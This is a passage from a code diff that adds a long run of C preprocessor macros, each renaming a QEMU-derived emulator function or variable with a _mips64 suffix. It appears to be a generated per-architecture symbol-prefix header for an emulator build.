qbool_destroy_obj_mips64 +#define qbool_from_int qbool_from_int_mips64 +#define qbool_get_int qbool_get_int_mips64 +#define qbool_type qbool_type_mips64 +#define qbus_create qbus_create_mips64 +#define qbus_create_inplace qbus_create_inplace_mips64 +#define qbus_finalize qbus_finalize_mips64 +#define qbus_initfn qbus_initfn_mips64 +#define qbus_realize qbus_realize_mips64 +#define qdev_create qdev_create_mips64 +#define qdev_get_type qdev_get_type_mips64 +#define qdev_register_types qdev_register_types_mips64 +#define qdev_set_parent_bus qdev_set_parent_bus_mips64 +#define qdev_try_create qdev_try_create_mips64 +#define qdict_add_key qdict_add_key_mips64 +#define qdict_array_split qdict_array_split_mips64 +#define qdict_clone_shallow qdict_clone_shallow_mips64 +#define qdict_del qdict_del_mips64 +#define qdict_destroy_obj qdict_destroy_obj_mips64 +#define qdict_entry_key qdict_entry_key_mips64 +#define qdict_entry_value qdict_entry_value_mips64 +#define qdict_extract_subqdict qdict_extract_subqdict_mips64 +#define qdict_find qdict_find_mips64 +#define qdict_first qdict_first_mips64 +#define qdict_flatten qdict_flatten_mips64 +#define qdict_flatten_qdict qdict_flatten_qdict_mips64 +#define qdict_flatten_qlist qdict_flatten_qlist_mips64 +#define qdict_get qdict_get_mips64 +#define qdict_get_bool qdict_get_bool_mips64 +#define qdict_get_double qdict_get_double_mips64 +#define qdict_get_int qdict_get_int_mips64 +#define qdict_get_obj qdict_get_obj_mips64 +#define qdict_get_qdict qdict_get_qdict_mips64 +#define qdict_get_qlist qdict_get_qlist_mips64 +#define qdict_get_str qdict_get_str_mips64 +#define qdict_get_try_bool qdict_get_try_bool_mips64 +#define qdict_get_try_int qdict_get_try_int_mips64 +#define qdict_get_try_str qdict_get_try_str_mips64 +#define qdict_haskey qdict_haskey_mips64 +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_mips64 +#define qdict_iter qdict_iter_mips64 +#define qdict_join qdict_join_mips64 +#define qdict_new qdict_new_mips64 +#define qdict_next qdict_next_mips64 +#define qdict_next_entry qdict_next_entry_mips64 +#define qdict_put_obj qdict_put_obj_mips64 +#define qdict_size qdict_size_mips64 +#define qdict_type qdict_type_mips64 +#define qemu_clock_get_us qemu_clock_get_us_mips64 +#define qemu_clock_ptr qemu_clock_ptr_mips64 +#define qemu_clocks qemu_clocks_mips64 +#define qemu_get_cpu qemu_get_cpu_mips64 +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_mips64 +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_mips64 +#define qemu_get_ram_block qemu_get_ram_block_mips64 +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_mips64 +#define qemu_get_ram_fd qemu_get_ram_fd_mips64 +#define qemu_get_ram_ptr qemu_get_ram_ptr_mips64 +#define qemu_host_page_mask qemu_host_page_mask_mips64 +#define qemu_host_page_size qemu_host_page_size_mips64 +#define qemu_init_vcpu qemu_init_vcpu_mips64 +#define qemu_ld_helpers qemu_ld_helpers_mips64 +#define qemu_log_close qemu_log_close_mips64 +#define qemu_log_enabled qemu_log_enabled_mips64 +#define qemu_log_flush qemu_log_flush_mips64 +#define qemu_loglevel_mask qemu_loglevel_mask_mips64 +#define qemu_log_vprintf qemu_log_vprintf_mips64 +#define qemu_oom_check qemu_oom_check_mips64 +#define qemu_parse_fd qemu_parse_fd_mips64 +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_mips64 +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_mips64 +#define qemu_ram_alloc qemu_ram_alloc_mips64 +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_mips64 +#define qemu_ram_foreach_block qemu_ram_foreach_block_mips64 +#define qemu_ram_free qemu_ram_free_mips64 +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_mips64 +#define qemu_ram_ptr_length qemu_ram_ptr_length_mips64 +#define qemu_ram_remap qemu_ram_remap_mips64 +#define qemu_ram_setup_dump qemu_ram_setup_dump_mips64 +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_mips64 +#define qemu_real_host_page_size qemu_real_host_page_size_mips64 +#define qemu_st_helpers qemu_st_helpers_mips64 +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_mips64 +#define qemu_try_memalign qemu_try_memalign_mips64 +#define qentry_destroy qentry_destroy_mips64 +#define qerror_human qerror_human_mips64 +#define qerror_report qerror_report_mips64 +#define qerror_report_err qerror_report_err_mips64 +#define qfloat_destroy_obj qfloat_destroy_obj_mips64 +#define qfloat_from_double qfloat_from_double_mips64 +#define qfloat_get_double qfloat_get_double_mips64 +#define qfloat_type qfloat_type_mips64 +#define qint_destroy_obj qint_destroy_obj_mips64 +#define qint_from_int qint_from_int_mips64 +#define qint_get_int qint_get_int_mips64 +#define qint_type qint_type_mips64 +#define qlist_append_obj qlist_append_obj_mips64 +#define qlist_copy qlist_copy_mips64 +#define qlist_copy_elem qlist_copy_elem_mips64 +#define qlist_destroy_obj qlist_destroy_obj_mips64 +#define qlist_empty qlist_empty_mips64 +#define qlist_entry_obj qlist_entry_obj_mips64 +#define qlist_first qlist_first_mips64 +#define qlist_iter qlist_iter_mips64 +#define qlist_new qlist_new_mips64 +#define qlist_next qlist_next_mips64 +#define qlist_peek qlist_peek_mips64 +#define qlist_pop qlist_pop_mips64 +#define qlist_size qlist_size_mips64 +#define qlist_size_iter qlist_size_iter_mips64 +#define qlist_type qlist_type_mips64 +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_mips64 +#define qmp_input_end_list qmp_input_end_list_mips64 +#define qmp_input_end_struct qmp_input_end_struct_mips64 +#define qmp_input_get_next_type qmp_input_get_next_type_mips64 +#define qmp_input_get_object qmp_input_get_object_mips64 +#define qmp_input_get_visitor qmp_input_get_visitor_mips64 +#define qmp_input_next_list qmp_input_next_list_mips64 +#define qmp_input_optional qmp_input_optional_mips64 +#define qmp_input_pop qmp_input_pop_mips64 +#define qmp_input_push qmp_input_push_mips64 +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_mips64 +#define qmp_input_start_list qmp_input_start_list_mips64 +#define qmp_input_start_struct qmp_input_start_struct_mips64 +#define qmp_input_type_bool qmp_input_type_bool_mips64 +#define qmp_input_type_int qmp_input_type_int_mips64 +#define qmp_input_type_number qmp_input_type_number_mips64 +#define qmp_input_type_str qmp_input_type_str_mips64 +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_mips64 +#define qmp_input_visitor_new qmp_input_visitor_new_mips64 +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_mips64 +#define qmp_output_add_obj qmp_output_add_obj_mips64 +#define qmp_output_end_list qmp_output_end_list_mips64 +#define qmp_output_end_struct qmp_output_end_struct_mips64 +#define qmp_output_first qmp_output_first_mips64 +#define qmp_output_get_qobject qmp_output_get_qobject_mips64 +#define qmp_output_get_visitor qmp_output_get_visitor_mips64 +#define qmp_output_last qmp_output_last_mips64 +#define qmp_output_next_list qmp_output_next_list_mips64 +#define qmp_output_pop qmp_output_pop_mips64 +#define qmp_output_push_obj qmp_output_push_obj_mips64 +#define qmp_output_start_list qmp_output_start_list_mips64 +#define qmp_output_start_struct qmp_output_start_struct_mips64 +#define qmp_output_type_bool qmp_output_type_bool_mips64 +#define qmp_output_type_int qmp_output_type_int_mips64 +#define qmp_output_type_number qmp_output_type_number_mips64 +#define qmp_output_type_str qmp_output_type_str_mips64 +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_mips64 +#define qmp_output_visitor_new qmp_output_visitor_new_mips64 +#define qobject_decref qobject_decref_mips64 +#define qobject_to_qbool qobject_to_qbool_mips64 +#define qobject_to_qdict qobject_to_qdict_mips64 +#define qobject_to_qfloat qobject_to_qfloat_mips64 +#define qobject_to_qint qobject_to_qint_mips64 +#define qobject_to_qlist qobject_to_qlist_mips64 +#define qobject_to_qstring qobject_to_qstring_mips64 +#define qobject_type qobject_type_mips64 +#define qstring_append qstring_append_mips64 +#define qstring_append_chr qstring_append_chr_mips64 +#define qstring_append_int qstring_append_int_mips64 +#define qstring_destroy_obj qstring_destroy_obj_mips64 +#define qstring_from_escaped_str qstring_from_escaped_str_mips64 +#define qstring_from_str qstring_from_str_mips64 +#define qstring_from_substr qstring_from_substr_mips64 +#define qstring_get_length qstring_get_length_mips64 +#define qstring_get_str qstring_get_str_mips64 +#define qstring_new qstring_new_mips64 +#define qstring_type qstring_type_mips64 +#define ram_block_add ram_block_add_mips64 +#define ram_size ram_size_mips64 +#define range_compare range_compare_mips64 +#define range_covers_byte range_covers_byte_mips64 +#define range_get_last range_get_last_mips64 +#define range_merge range_merge_mips64 +#define ranges_can_merge ranges_can_merge_mips64 +#define raw_read raw_read_mips64 +#define raw_write raw_write_mips64 +#define rcon rcon_mips64 +#define read_raw_cp_reg read_raw_cp_reg_mips64 +#define recip_estimate recip_estimate_mips64 +#define recip_sqrt_estimate recip_sqrt_estimate_mips64 +#define register_cp_regs_for_features register_cp_regs_for_features_mips64 +#define register_multipage register_multipage_mips64 +#define register_subpage register_subpage_mips64 +#define register_tm_clones register_tm_clones_mips64 +#define register_types_object register_types_object_mips64 +#define regnames regnames_mips64 +#define render_memory_region render_memory_region_mips64 +#define reset_all_temps reset_all_temps_mips64 +#define reset_temp reset_temp_mips64 +#define rol32 rol32_mips64 +#define rol64 rol64_mips64 +#define ror32 ror32_mips64 +#define ror64 ror64_mips64 +#define roundAndPackFloat128 roundAndPackFloat128_mips64 +#define roundAndPackFloat16 roundAndPackFloat16_mips64 +#define roundAndPackFloat32 roundAndPackFloat32_mips64 +#define roundAndPackFloat64 roundAndPackFloat64_mips64 +#define roundAndPackFloatx80 roundAndPackFloatx80_mips64 +#define roundAndPackInt32 roundAndPackInt32_mips64 +#define roundAndPackInt64 roundAndPackInt64_mips64 +#define roundAndPackUint64 roundAndPackUint64_mips64 +#define round_to_inf round_to_inf_mips64 +#define run_on_cpu run_on_cpu_mips64 +#define s0 s0_mips64 +#define S0 S0_mips64 +#define s1 s1_mips64 +#define S1 S1_mips64 +#define sa1100_initfn sa1100_initfn_mips64 +#define sa1110_initfn sa1110_initfn_mips64 +#define save_globals save_globals_mips64 +#define scr_write scr_write_mips64 +#define sctlr_write sctlr_write_mips64 +#define set_bit set_bit_mips64 +#define set_bits set_bits_mips64 +#define set_default_nan_mode set_default_nan_mode_mips64 +#define set_feature set_feature_mips64 +#define set_float_detect_tininess set_float_detect_tininess_mips64 +#define set_float_exception_flags set_float_exception_flags_mips64 +#define set_float_rounding_mode set_float_rounding_mode_mips64 +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_mips64 +#define set_flush_to_zero set_flush_to_zero_mips64 +#define set_swi_errno set_swi_errno_mips64 +#define sextract32 sextract32_mips64 +#define sextract64 sextract64_mips64 +#define shift128ExtraRightJamming shift128ExtraRightJamming_mips64 +#define shift128Right shift128Right_mips64 +#define shift128RightJamming shift128RightJamming_mips64 +#define shift32RightJamming shift32RightJamming_mips64 +#define shift64ExtraRightJamming shift64ExtraRightJamming_mips64 +#define shift64RightJamming shift64RightJamming_mips64 +#define shifter_out_im shifter_out_im_mips64 +#define shortShift128Left shortShift128Left_mips64 +#define shortShift192Left shortShift192Left_mips64 +#define simple_mpu_ap_bits simple_mpu_ap_bits_mips64 +#define size_code_gen_buffer size_code_gen_buffer_mips64 +#define softmmu_lock_user softmmu_lock_user_mips64 +#define softmmu_lock_user_string softmmu_lock_user_string_mips64 +#define softmmu_tget32 softmmu_tget32_mips64 +#define softmmu_tget8 softmmu_tget8_mips64 +#define softmmu_tput32 softmmu_tput32_mips64 +#define softmmu_unlock_user softmmu_unlock_user_mips64 +#define sort_constraints sort_constraints_mips64 +#define sp_el0_access sp_el0_access_mips64 +#define spsel_read spsel_read_mips64 +#define spsel_write spsel_write_mips64 +#define start_list start_list_mips64 +#define stb_p stb_p_mips64 +#define stb_phys stb_phys_mips64 +#define stl_be_p stl_be_p_mips64 +#define stl_be_phys stl_be_phys_mips64 +#define stl_he_p stl_he_p_mips64 +#define stl_le_p stl_le_p_mips64 +#define stl_le_phys stl_le_phys_mips64 +#define stl_phys stl_phys_mips64 +#define stl_phys_internal stl_phys_internal_mips64 +#define stl_phys_notdirty stl_phys_notdirty_mips64 +#define store_cpu_offset store_cpu_offset_mips64 +#define store_reg store_reg_mips64 +#define store_reg_bx store_reg_bx_mips64 +#define store_reg_from_load store_reg_from_load_mips64 +#define stq_be_p stq_be_p_mips64 +#define stq_be_phys stq_be_phys_mips64 +#define stq_he_p stq_he_p_mips64 +#define stq_le_p stq_le_p_mips64 +#define stq_le_phys stq_le_phys_mips64 +#define stq_phys stq_phys_mips64 +#define string_input_get_visitor string_input_get_visitor_mips64 +#define string_input_visitor_cleanup string_input_visitor_cleanup_mips64 +#define string_input_visitor_new string_input_visitor_new_mips64 +#define strongarm_cp_reginfo strongarm_cp_reginfo_mips64 +#define strstart strstart_mips64 +#define strtosz strtosz_mips64 +#define strtosz_suffix strtosz_suffix_mips64 +#define stw_be_p stw_be_p_mips64 +#define stw_be_phys stw_be_phys_mips64 +#define stw_he_p stw_he_p_mips64 +#define stw_le_p stw_le_p_mips64 +#define stw_le_phys stw_le_phys_mips64 +#define stw_phys stw_phys_mips64 +#define stw_phys_internal stw_phys_internal_mips64 +#define sub128 sub128_mips64 +#define sub16_sat sub16_sat_mips64 +#define sub16_usat sub16_usat_mips64 +#define sub192 sub192_mips64 +#define sub8_sat sub8_sat_mips64 +#define sub8_usat sub8_usat_mips64 +#define subFloat128Sigs subFloat128Sigs_mips64 +#define subFloat32Sigs subFloat32Sigs_mips64 +#define subFloat64Sigs subFloat64Sigs_mips64 +#define subFloatx80Sigs subFloatx80Sigs_mips64 +#define subpage_accepts subpage_accepts_mips64 +#define subpage_init subpage_init_mips64 +#define subpage_ops subpage_ops_mips64 +#define subpage_read subpage_read_mips64 +#define subpage_register subpage_register_mips64 +#define subpage_write subpage_write_mips64 +#define suffix_mul suffix_mul_mips64 +#define swap_commutative swap_commutative_mips64 +#define swap_commutative2 swap_commutative2_mips64 +#define switch_mode switch_mode_mips64 +#define switch_v7m_sp switch_v7m_sp_mips64 +#define syn_aa32_bkpt syn_aa32_bkpt_mips64 +#define syn_aa32_hvc syn_aa32_hvc_mips64 +#define syn_aa32_smc syn_aa32_smc_mips64 +#define syn_aa32_svc syn_aa32_svc_mips64 +#define syn_breakpoint syn_breakpoint_mips64 +#define sync_globals sync_globals_mips64 +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_mips64 +#define syn_cp14_rt_trap syn_cp14_rt_trap_mips64 +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_mips64 +#define syn_cp15_rt_trap syn_cp15_rt_trap_mips64 +#define syn_data_abort syn_data_abort_mips64 +#define syn_fp_access_trap syn_fp_access_trap_mips64 +#define syn_insn_abort syn_insn_abort_mips64 +#define syn_swstep syn_swstep_mips64 +#define syn_uncategorized syn_uncategorized_mips64 +#define syn_watchpoint syn_watchpoint_mips64 +#define syscall_err syscall_err_mips64 +#define system_bus_class_init system_bus_class_init_mips64 +#define system_bus_info system_bus_info_mips64 +#define t2ee_cp_reginfo t2ee_cp_reginfo_mips64 +#define table_logic_cc table_logic_cc_mips64 +#define target_parse_constraint target_parse_constraint_mips64 +#define target_words_bigendian target_words_bigendian_mips64 +#define tb_add_jump tb_add_jump_mips64 +#define tb_alloc tb_alloc_mips64 +#define tb_alloc_page tb_alloc_page_mips64 +#define tb_check_watchpoint tb_check_watchpoint_mips64 +#define tb_find_fast tb_find_fast_mips64 +#define tb_find_pc tb_find_pc_mips64 +#define tb_find_slow tb_find_slow_mips64 +#define tb_flush tb_flush_mips64 +#define tb_flush_jmp_cache tb_flush_jmp_cache_mips64 +#define tb_free tb_free_mips64 +#define tb_gen_code tb_gen_code_mips64 +#define tb_hash_remove tb_hash_remove_mips64 +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_mips64 +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_mips64 +#define tb_invalidate_phys_range tb_invalidate_phys_range_mips64 +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_mips64 +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_mips64 +#define tb_jmp_remove tb_jmp_remove_mips64 +#define tb_link_page tb_link_page_mips64 +#define tb_page_remove tb_page_remove_mips64 +#define tb_phys_hash_func tb_phys_hash_func_mips64 +#define tb_phys_invalidate tb_phys_invalidate_mips64 +#define tb_reset_jump tb_reset_jump_mips64 +#define tb_set_jmp_target tb_set_jmp_target_mips64 +#define tcg_accel_class_init tcg_accel_class_init_mips64 +#define tcg_accel_type tcg_accel_type_mips64 +#define tcg_add_param_i32 tcg_add_param_i32_mips64 +#define tcg_add_param_i64 tcg_add_param_i64_mips64 +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_mips64 +#define tcg_allowed tcg_allowed_mips64 +#define tcg_canonicalize_memop tcg_canonicalize_memop_mips64 +#define tcg_commit tcg_commit_mips64 +#define tcg_cond_to_jcc tcg_cond_to_jcc_mips64 +#define tcg_constant_folding tcg_constant_folding_mips64 +#define tcg_const_i32 tcg_const_i32_mips64 +#define tcg_const_i64 tcg_const_i64_mips64 +#define tcg_const_local_i32 tcg_const_local_i32_mips64 +#define tcg_const_local_i64 tcg_const_local_i64_mips64 +#define tcg_context_init tcg_context_init_mips64 +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_mips64 +#define tcg_cpu_exec tcg_cpu_exec_mips64 +#define tcg_current_code_size tcg_current_code_size_mips64 +#define tcg_dump_info tcg_dump_info_mips64 +#define tcg_dump_ops tcg_dump_ops_mips64 +#define tcg_exec_all tcg_exec_all_mips64 +#define tcg_find_helper tcg_find_helper_mips64 +#define tcg_func_start tcg_func_start_mips64 +#define tcg_gen_abs_i32 tcg_gen_abs_i32_mips64 +#define tcg_gen_add2_i32 tcg_gen_add2_i32_mips64 +#define tcg_gen_add_i32 tcg_gen_add_i32_mips64 +#define tcg_gen_add_i64 tcg_gen_add_i64_mips64 +#define tcg_gen_addi_i32 tcg_gen_addi_i32_mips64 +#define tcg_gen_addi_i64 tcg_gen_addi_i64_mips64 +#define tcg_gen_andc_i32 tcg_gen_andc_i32_mips64 +#define tcg_gen_and_i32 tcg_gen_and_i32_mips64 +#define tcg_gen_and_i64 tcg_gen_and_i64_mips64 +#define tcg_gen_andi_i32 tcg_gen_andi_i32_mips64 +#define tcg_gen_andi_i64 tcg_gen_andi_i64_mips64 +#define tcg_gen_br tcg_gen_br_mips64 +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_mips64 +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_mips64 +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_mips64 +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_mips64 +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_mips64 +#define tcg_gen_callN tcg_gen_callN_mips64 +#define tcg_gen_code tcg_gen_code_mips64 +#define tcg_gen_code_common tcg_gen_code_common_mips64 +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_mips64 +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_mips64 +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_mips64 +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_mips64 +#define tcg_gen_exit_tb tcg_gen_exit_tb_mips64 +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_mips64 +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_mips64 +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_mips64 +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_mips64 +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_mips64 +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_mips64 +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_mips64 +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_mips64 +#define tcg_gen_goto_tb tcg_gen_goto_tb_mips64 +#define tcg_gen_ld_i32 tcg_gen_ld_i32_mips64 +#define tcg_gen_ld_i64 tcg_gen_ld_i64_mips64 +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_mips64 +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_mips64 +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_mips64 +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_mips64 +#define tcg_gen_mov_i32 tcg_gen_mov_i32_mips64 +#define tcg_gen_mov_i64 tcg_gen_mov_i64_mips64 +#define tcg_gen_movi_i32 tcg_gen_movi_i32_mips64 +#define tcg_gen_movi_i64 tcg_gen_movi_i64_mips64 +#define tcg_gen_mul_i32 tcg_gen_mul_i32_mips64 +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_mips64 +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_mips64 +#define tcg_gen_neg_i32 tcg_gen_neg_i32_mips64 +#define tcg_gen_neg_i64 tcg_gen_neg_i64_mips64 +#define tcg_gen_not_i32 tcg_gen_not_i32_mips64 +#define tcg_gen_op0 tcg_gen_op0_mips64 +#define tcg_gen_op1i tcg_gen_op1i_mips64 +#define tcg_gen_op2_i32 tcg_gen_op2_i32_mips64 +#define tcg_gen_op2_i64 tcg_gen_op2_i64_mips64 +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_mips64 +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_mips64 +#define tcg_gen_op3_i32 tcg_gen_op3_i32_mips64 +#define tcg_gen_op3_i64 tcg_gen_op3_i64_mips64 +#define tcg_gen_op4_i32 tcg_gen_op4_i32_mips64 +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_mips64 +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_mips64 +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_mips64 +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_mips64 +#define tcg_gen_op6_i32 tcg_gen_op6_i32_mips64 +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_mips64 +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_mips64 +#define tcg_gen_orc_i32 tcg_gen_orc_i32_mips64 +#define tcg_gen_or_i32 tcg_gen_or_i32_mips64 +#define tcg_gen_or_i64 tcg_gen_or_i64_mips64 +#define tcg_gen_ori_i32 tcg_gen_ori_i32_mips64 +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_mips64 +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_mips64 +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_mips64 +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_mips64 +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_mips64 +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_mips64 +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_mips64 +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_mips64 +#define tcg_gen_sar_i32 tcg_gen_sar_i32_mips64 +#define tcg_gen_sari_i32 tcg_gen_sari_i32_mips64 +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_mips64 +#define tcg_gen_shl_i32 tcg_gen_shl_i32_mips64 +#define tcg_gen_shl_i64 tcg_gen_shl_i64_mips64 +#define tcg_gen_shli_i32 tcg_gen_shli_i32_mips64 +#define tcg_gen_shli_i64 tcg_gen_shli_i64_mips64 +#define tcg_gen_shr_i32 tcg_gen_shr_i32_mips64 +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_mips64 +#define tcg_gen_shr_i64 tcg_gen_shr_i64_mips64 +#define tcg_gen_shri_i32 tcg_gen_shri_i32_mips64 +#define tcg_gen_shri_i64 tcg_gen_shri_i64_mips64 +#define tcg_gen_st_i32 tcg_gen_st_i32_mips64 +#define tcg_gen_st_i64 tcg_gen_st_i64_mips64 +#define tcg_gen_sub_i32 tcg_gen_sub_i32_mips64 +#define tcg_gen_sub_i64 tcg_gen_sub_i64_mips64 +#define tcg_gen_subi_i32 tcg_gen_subi_i32_mips64 +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_mips64 +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_mips64 +#define tcg_gen_xor_i32 tcg_gen_xor_i32_mips64 +#define tcg_gen_xor_i64 tcg_gen_xor_i64_mips64 +#define tcg_gen_xori_i32 tcg_gen_xori_i32_mips64 +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_mips64 +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_mips64 +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_mips64 +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_mips64 +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_mips64 +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_mips64 +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_mips64 +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_mips64 +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_mips64 +#define tcg_handle_interrupt tcg_handle_interrupt_mips64 +#define tcg_init tcg_init_mips64 +#define tcg_invert_cond tcg_invert_cond_mips64 +#define tcg_la_bb_end tcg_la_bb_end_mips64 +#define tcg_la_br_end tcg_la_br_end_mips64 +#define tcg_la_func_end tcg_la_func_end_mips64 +#define tcg_liveness_analysis tcg_liveness_analysis_mips64 +#define tcg_malloc tcg_malloc_mips64 +#define tcg_malloc_internal tcg_malloc_internal_mips64 +#define tcg_op_defs_org tcg_op_defs_org_mips64 +#define tcg_opt_gen_mov tcg_opt_gen_mov_mips64 +#define tcg_opt_gen_movi tcg_opt_gen_movi_mips64 +#define tcg_optimize tcg_optimize_mips64 +#define tcg_out16 tcg_out16_mips64 +#define tcg_out32 tcg_out32_mips64 +#define tcg_out64 tcg_out64_mips64 +#define tcg_out8 tcg_out8_mips64 +#define tcg_out_addi tcg_out_addi_mips64 +#define tcg_out_branch tcg_out_branch_mips64 +#define tcg_out_brcond32 tcg_out_brcond32_mips64 +#define tcg_out_brcond64 tcg_out_brcond64_mips64 +#define tcg_out_bswap32 tcg_out_bswap32_mips64 +#define tcg_out_bswap64 tcg_out_bswap64_mips64 +#define tcg_out_call tcg_out_call_mips64 +#define tcg_out_cmp tcg_out_cmp_mips64 +#define tcg_out_ext16s tcg_out_ext16s_mips64 +#define tcg_out_ext16u tcg_out_ext16u_mips64 +#define tcg_out_ext32s tcg_out_ext32s_mips64 +#define tcg_out_ext32u tcg_out_ext32u_mips64 +#define tcg_out_ext8s tcg_out_ext8s_mips64 +#define tcg_out_ext8u tcg_out_ext8u_mips64 +#define tcg_out_jmp tcg_out_jmp_mips64 +#define tcg_out_jxx tcg_out_jxx_mips64 +#define tcg_out_label tcg_out_label_mips64 +#define tcg_out_ld tcg_out_ld_mips64 +#define tcg_out_modrm tcg_out_modrm_mips64 +#define tcg_out_modrm_offset tcg_out_modrm_offset_mips64 +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_mips64 +#define tcg_out_mov tcg_out_mov_mips64 +#define tcg_out_movcond32 tcg_out_movcond32_mips64 +#define tcg_out_movcond64 tcg_out_movcond64_mips64 +#define tcg_out_movi tcg_out_movi_mips64 +#define tcg_out_op tcg_out_op_mips64 +#define tcg_out_pop tcg_out_pop_mips64 +#define tcg_out_push tcg_out_push_mips64 +#define tcg_out_qemu_ld tcg_out_qemu_ld_mips64 +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_mips64 +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_mips64 +#define tcg_out_qemu_st tcg_out_qemu_st_mips64 +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_mips64 +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_mips64 +#define tcg_out_reloc tcg_out_reloc_mips64 +#define tcg_out_rolw_8 tcg_out_rolw_8_mips64 +#define tcg_out_setcond32 tcg_out_setcond32_mips64 +#define tcg_out_setcond64 tcg_out_setcond64_mips64 +#define tcg_out_shifti tcg_out_shifti_mips64 +#define tcg_out_st tcg_out_st_mips64 +#define tcg_out_tb_finalize tcg_out_tb_finalize_mips64 +#define tcg_out_tb_init tcg_out_tb_init_mips64 +#define tcg_out_tlb_load tcg_out_tlb_load_mips64 +#define tcg_out_vex_modrm tcg_out_vex_modrm_mips64 +#define tcg_patch32 tcg_patch32_mips64 +#define tcg_patch8 tcg_patch8_mips64 +#define tcg_pcrel_diff tcg_pcrel_diff_mips64 +#define tcg_pool_reset tcg_pool_reset_mips64 +#define tcg_prologue_init tcg_prologue_init_mips64 +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_mips64 +#define tcg_reg_alloc tcg_reg_alloc_mips64 +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_mips64 +#define tcg_reg_alloc_call tcg_reg_alloc_call_mips64 +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_mips64 +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_mips64 +#define tcg_reg_alloc_op tcg_reg_alloc_op_mips64 +#define tcg_reg_alloc_start tcg_reg_alloc_start_mips64 +#define tcg_reg_free tcg_reg_free_mips64 +#define tcg_reg_sync tcg_reg_sync_mips64 +#define tcg_set_frame tcg_set_frame_mips64 +#define tcg_set_nop tcg_set_nop_mips64 +#define tcg_swap_cond tcg_swap_cond_mips64 +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_mips64 +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_mips64 +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_mips64 